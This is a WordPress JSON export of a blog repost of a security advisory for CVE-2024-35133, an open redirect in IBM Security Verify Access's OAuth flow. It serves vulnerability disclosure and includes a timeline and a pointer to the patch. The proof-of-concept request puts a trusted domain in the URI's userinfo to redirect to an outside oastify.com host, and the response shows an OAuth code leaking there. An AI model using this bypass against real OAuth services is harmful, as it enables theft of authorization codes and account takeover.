{"id":59888,"date":"2024-10-18T20:10:12","date_gmt":"2024-10-18T17:10:12","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182287\/ibmsva1008-redirect.txt"},"modified":"2024-10-18T20:10:12","modified_gmt":"2024-10-18T17:10:12","slug":"ibm-security-verify-access-10-0-8-open-redirection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ibm-security-verify-access-10-0-8-open-redirection\/","title":{"rendered":"IBM Security Verify Access 10.0.8 Open Redirection"},"content":{"rendered":"<p>&#8211; IBM Security Verify Access &gt;= 10.0.0 &lt;= 10.0.8 &#8211; Open Redirect during<br \/>OAuth Flow<\/p>\n<p>======== &lt; Table of Contents &gt;<br \/>================================================<\/p>\n<p>0. Overview<br \/>1. Detailed Description<br \/>2. Proof Of Concept<br \/>3. Solution<br \/>4. Disclosure Timeline<br \/>5. References<br \/>6. Credits<br \/>7. Legal Notices<\/p>\n<p>======== &lt; 0. Overview &gt;<br \/>======================================================<\/p>\n<p>Revision:<br \/>1.0<\/p>\n<p>Impact:<br \/>By persuading a victim to visit a specially crafted Web site, a remote<br \/>attacker could exploit this vulnerability to spoof the URL displayed<br \/>to redirect a user to a malicious Web site that would appear to be<br \/>trusted. This could allow the attacker to obtain highly sensitive<br \/>information or conduct further attacks against the victim.<\/p>\n<p>Severity:<br \/>NIST: High<br \/>IBM: Medium<\/p>\n<p>CVSS Score:<br \/>NIST 8.2 (CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:H\/I:L\/A:N)<br \/>IBM 6.8 (CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:R\/S:C\/C:N\/I:H\/A:N)<\/p>\n<p>CVE-ID:<br \/>CVE-2024-35133<\/p>\n<p>Vendor:<br \/>IBM<\/p>\n<p>Affected Products:<br \/>IBM Security Verify Access<br \/>IBM Security Verify Access Docker<\/p>\n<p>Affected Versions:<br \/>10.0.0 &#8211; 10.0.8<\/p>\n<p>Product Description:<\/p>\n<p>IBM Security Verify Access is a complete authorization and network<br \/>security policy management solution. It provides end-to-end protection<br \/>of resources over geographically dispersed intranets and extranets.<\/p>\n<p>In addition to state-of-the-art security policy management, IBM Security<br \/>Verify Access provides authentication, authorization, data security, and<br \/>centralized resource management capabilities.<\/p>\n<p>IBM Security Verify Access offers the following features:<br \/>Authentication ~ Provides a wide range of built-in authenticators and<br \/>supports external authenticators.<\/p>\n<p>Authorization ~ Provides permit and deny decisions for protected<br \/>resources<br \/>requests in the secure domain through the authorization API.<\/p>\n<p>Data security and centralized resource management ~ Manages secure<br \/>access<br \/>to private internal network-based resources by using the public<br \/>Internet&#8217;s<br \/>broad connectivity and ease of use with a corporate firewall system.<\/p>\n<p>======== &lt; 1. Detailed Description &gt;<br \/>==========================================<\/p>\n<p>During a Penetration Test of the OAuth flow for a client, it was found an<br \/>Open Redirect vulnerability that can led to the leakage of the OAuth<br \/>&#8220;code&#8221; variable.<\/p>\n<p>It was possible to bypass the parser&#8217;s logic responsible for verifying the<br \/>correctness and the validity of the &#8220;redirect_uri&#8221; parameter during an<br \/>OAuth<br \/>flow by leveraging RFC 3986 (3.2.1) providing a username and password<br \/>directly<br \/>in the Uniform Resource Identifier (URI).<\/p>\n<p>By providing as the &#8220;username&#8221; field a legitimate and expected domain, it<br \/>was possible to bypass the whitelist filter used by &#8220;IBM Security Verify<br \/>Access&#8221;<br \/>and cause an Open Redirect to any arbitrary domain controlled by the<br \/>attacker,<br \/>not only altering the expected flow and redirect a user to a malicious<br \/>Web site that would appear to be trusted.<\/p>\n<p>This could allow the attacker to obtain highly sensitive like the OAuth<br \/>&#8220;code&#8221;<br \/>token or conduct further attacks against the victim<\/p>\n<p>======== &lt; 2. Proof of Concepts &gt;<br \/>=============================================<\/p>\n<p>===== REQUEST =====<\/p>\n[[<br \/>GET<br \/>\/oauth\/oauth20\/authorize?response_type=code&amp;client_id=[REDACTED]&amp;state=001710863806728MPUw0xFSj&amp;REDACTED_uri=<br \/>https:\/\/legitimate.domain:bypass@0lmd9sa7p0cez16vdcldhcgygpmga6yv.oastify.com\/[REDACTED]\/openid\/REDACTED\/[REDACTED]&amp;scope=openid+<br \/>HTTP\/1.1<br \/>Host: [REDACTED]User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101<br \/>Firefox\/115.0<br \/>Accept:<br \/>text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<br \/>Te: trailers<br \/>Connection: close<br \/>]]\n<p>===== RESPONSE =====<\/p>\n[[<br \/>HTTP\/1.1 302 Found<br \/>content-language: en-US<br \/>date: Tue, 19 Mar 2024 16:04:35 GMT<br \/>location:<br \/>https:\/\/legitimate.domain:bypass@0lmd9sa7p0cez16vdcldhcgygpmga6yv.oastify.com\/[REDACTED]\/openid\/REDACTED\/[REDACTED]?state=001710863806728MPUw0xFSj&amp;code=7wkH581y0uyS0nm4ff65zCqHn0WC46w7v&amp;iss=[REDACTED]p3p: CP=&#8221;NON CUR OTPi OUR NOR UNI&#8221;<br \/>x-frame-options: DENY<br \/>x-content-type-options: nosniff<br \/>cache-control: no-store<br \/>x-xss-protection: 1; mode=block<br \/>x-permitted-cross-domain-policies: none<br \/>cross-origin-resource-policy: same-site<br \/>content-security-policy: frame-ancestors &#8216;none&#8217;<br \/>referrer-policy: no-referrer-when-downgrade<br \/>strict-transport-security: max-age=31536000; includeSubDomains<br \/>pragma: no-cache<br \/>Content-Length: 0.<br \/>]]\n<p>======== &lt; 3. Solution &gt;<br \/>======================================================<\/p>\n<p>Refer to IBM Security Bulletin 7166712 for patch, upgrade or<br \/>suggested workaround information.<\/p>\n<p>See &#8220;References&#8221; for more details.<\/p>\n<p>======== &lt; 4. Disclosure Timeline &gt;<br \/>===========================================<\/p>\n<p>19\/03\/2024 &#8211; Vulnerability discovered by the Security Researcher (Giulio<br \/>Garzia)<br \/>21\/03\/2024 &#8211; Vulnerability shared with the client who committed the<br \/>Penetration Test on his infrastructure, relying on IBM SVA<br \/>02\/04\/2024 &#8211; Vulnerability shared with IBM<br \/>02\/04\/2024 &#8211; Vulnerability taken over by IBM<br \/>14\/05\/2024 &#8211; Vulnerability confirmed by IBM<br \/>18\/07\/2024 &#8211; Pre-release provided by IBM to the customer to verify the<br \/>resolution of the vulnerability<br \/>27\/08\/2024 &#8211; Security Bulletin and vulnerability shared by IBM<\/p>\n<p>======== &lt; 5. References &gt;<br \/>====================================================<\/p>\n<p>(1)<br \/>https:\/\/www.ibm.com\/support\/pages\/security-bulletin-security-vulnerability-was-fixed-ibm-security-verify-access-cve-2024-35133<br \/>(2) https:\/\/exchange.xforce.ibmcloud.com\/vulnerabilities\/291026<br \/>(3) https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-35133<br \/>(4) https:\/\/cwe.mitre.org\/data\/definitions\/178.html<\/p>\n<p>======== &lt; 6. Credits &gt;<br \/>=======================================================<\/p>\n<p>This vulnerability was discovered and reported by:<\/p>\n<p>Giulio Garzia &#8216;Ozozuz&#8217;<\/p>\n<p>Contacts:<\/p>\n<p>https:\/\/www.linkedin.com\/in\/giuliogarzia\/<br \/>https:\/\/github.com\/Ozozuz<\/p>\n<p>======== &lt; 7. Legal Notices &gt;<br \/>================================================<\/p>\n<p>Copyright (c) 2024 Giulio Garzia &#8220;Ozozuz&#8221;<\/p>\n<p>Permission is granted for the redistribution of this alert<br \/>electronically. It may not be edited in any way without mine express<br \/>written consent. If you wish to reprint the whole or any<br \/>part of this alert in any other medium other than electronically,<br \/>please email me for permission.<\/p>\n<p>Disclaimer: The information in the advisory is believed to be accurate<br \/>at the time of publishing based on currently available information.<br \/>Use of the information constitutes acceptance for use in an AS IS<br \/>condition.<br \/>There are no warranties with regard to this information. Neither the<br \/>author nor the publisher accepts any liability for any direct,<br \/>indirect, or consequential loss or damage arising from use of,<br \/>or reliance on,this information.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8211; IBM Security Verify Access &gt;= 10.0.0 &lt;= 10.0.8 &#8211; Open Redirect duringOAuth Flow ======== &lt; Table of Contents &gt;================================================ 0. Overview1. Detailed Description2. Proof Of Concept3. Solution4. Disclosure Timeline5. References6. Credits7. Legal Notices ======== &lt; 0. Overview &gt;====================================================== Revision:1.0 Impact:By persuading a victim to visit a specially crafted Web site, a remoteattacker could exploit &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59888","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59888","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59888"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59888\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59888"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59888"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59888"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}